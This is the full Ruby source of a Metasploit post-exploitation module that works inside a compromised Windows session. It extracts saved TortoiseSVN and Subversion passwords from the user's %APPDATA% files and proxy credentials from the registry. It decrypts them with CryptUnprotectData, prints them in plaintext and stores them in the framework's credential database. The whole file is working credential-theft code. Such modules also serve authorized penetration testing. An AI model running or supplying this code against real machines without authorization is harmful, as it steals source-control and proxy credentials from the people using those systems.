##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'

class MetasploitModule < Msf::Post

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Windows Gather TortoiseSVN Saved Password Extraction',
        'Description'   => %q{
          This module extracts and decrypts saved TortoiseSVN passwords.  In
          order for decryption to be successful this module must be executed
          under the same privileges as the user which originally encrypted the
          password.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Justin Cacak'],
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
  end

  def prepare_railgun
    rg = session.railgun
    if (!rg.get_dll('crypt32'))
      rg.add_dll('crypt32')
    end
  end

  def decrypt_password(data)
    rg = session.railgun
    pid = client.sys.process.getpid
    process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

    mem = process.memory.allocate(128)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
      addr = [mem].pack("V")
      len = [data.length].pack("V")
      ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret["pDataOut"].unpack("V2")
    else
      addr = [mem].pack("Q")
      len = [data.length].pack("Q")
      ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      len, addr = ret["pDataOut"].unpack("Q2")
    end

    return "" if len == 0
    decrypted_pw = process.memory.read(addr, len)
    return decrypted_pw
  end

  def get_proxy_data
    # Check if user proxy setting are utilized
    @key_base = "HKCU\\Software\\TortoiseSVN\\Servers\\global\\"
    http_proxy_password = registry_getvaldata("#{@key_base}", 'http-proxy-password')

    if http_proxy_password == nil
      return
    else
      # A proxy with password is utilized, gather details
      print_good("HTTP Proxy Settings")
      http_proxy_username= registry_getvaldata("#{@key_base}", 'http-proxy-username')
      http_proxy_host = registry_getvaldata("#{@key_base}", 'http-proxy-host')
      http_proxy_port = registry_getvaldata("#{@key_base}", 'http-proxy-port')

      # Output results to screen
      print_status("     Host: #{http_proxy_host}")
      print_status("     Port: #{http_proxy_port}")
      print_status("     Username: #{http_proxy_username}")
      print_status("     Password: #{http_proxy_password}")
      print_status("")
    end

    # Report proxy creds
    if session.db_record
      source_id = session.db_record.id
    else
      source_id = nil
    end

    report_cred(
      ip: ::Rex::Socket.resolv(http_proxy_host), # TODO: Fix up report_host?
      port: http_proxy_port,
      service_name: 'http',
      user: http_proxy_username,
      password: http_proxy_password
    )

  end

  def get_config_files
    # Determine if TortoiseSVN is installed and parse config files
    savedpwds = 0
    path = session.fs.file.expand_path("%APPDATA%\\Subversion\\auth\\svn.simple\\")
    print_status("Checking for configuration files in: #{path}")

    begin
      session.fs.dir.foreach(path) do |file_name|
        next if file_name == "." or file_name == ".."
        savedpwds = analyze_file(path+file_name)
      end
    rescue => e
      print_error "Exception raised: #{e.message}"
      print_status("No configuration files located: TortoiseSVN may not be installed or configured.")
      return
    end

    if savedpwds == 0
      print_status("No configuration files located")
    end

  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
    }.merge(service_data)

    create_credential_login(login_data)
  end


  def analyze_file(filename)
    config = client.fs.file.new(filename, 'r')
    contents = config.read
    config_lines = contents.split("\n")

    print_good("Account Found:")
    line_num = 0

    for line in config_lines
      line.chomp
      line_num += 1
      if line_num == 8
        enc_password = Rex::Text.decode_base64(line)
        password = decrypt_password(enc_password)
      elsif line_num == 12
        if line.match(/<(.*)>.(.*)/)
          # Parse for output
          url = $1
          realm = $2
          realm.gsub! "\r", ""   #Remove \r (not common)
          if line.match(/<(.*):\/\/(.*):(.*)>/)
            # Parse for reporting
            sname = $1
            host = $2
            portnum = $3
            portnum.gsub! "\r", ""   #Remove \r (not common)
          end
        else
          url = "<Unknown/Error>"
        end
      elsif line_num == 16
        user_name = line
        user_name.gsub! "\r", ""  #Remove \r (not common)
      end
    end
    config.close

    #Handle null values or errors
    if user_name == nil
      user_name = "<Unknown/Error>"
    end

    # Output results to screen
    print_status("     URL: #{url}")
    print_status("     Realm: #{realm}")
    print_status("     User Name: #{user_name}")
    print_status("     Password: #{password}")
    print_status("")

    # Report
    if session.db_record
      source_id = session.db_record.id
    else
      source_id = nil
    end

    report_cred(
      ip: ::Rex::Socket.resolv_to_dotted(host), # XXX: Workaround for unresolved hostnames
      port: portnum,
      service_name: sname,
      user: user_name,
      password: password
    )

    vprint_status("Should have reported...")

    # Set savedpwds to 1 on return
    return 1
  end

  def run
    # Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.
    uid = session.sys.config.getuid

    if is_system?
      print_error("This module is running under #{uid}.")
      print_error("Automatic decryption will not be possible.")
      print_error("Manually migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
    else
      print_status("Searching for TortoiseSVN...")
      prepare_railgun
      get_config_files
      get_proxy_data
    end

    print_status("Complete")
  end

end
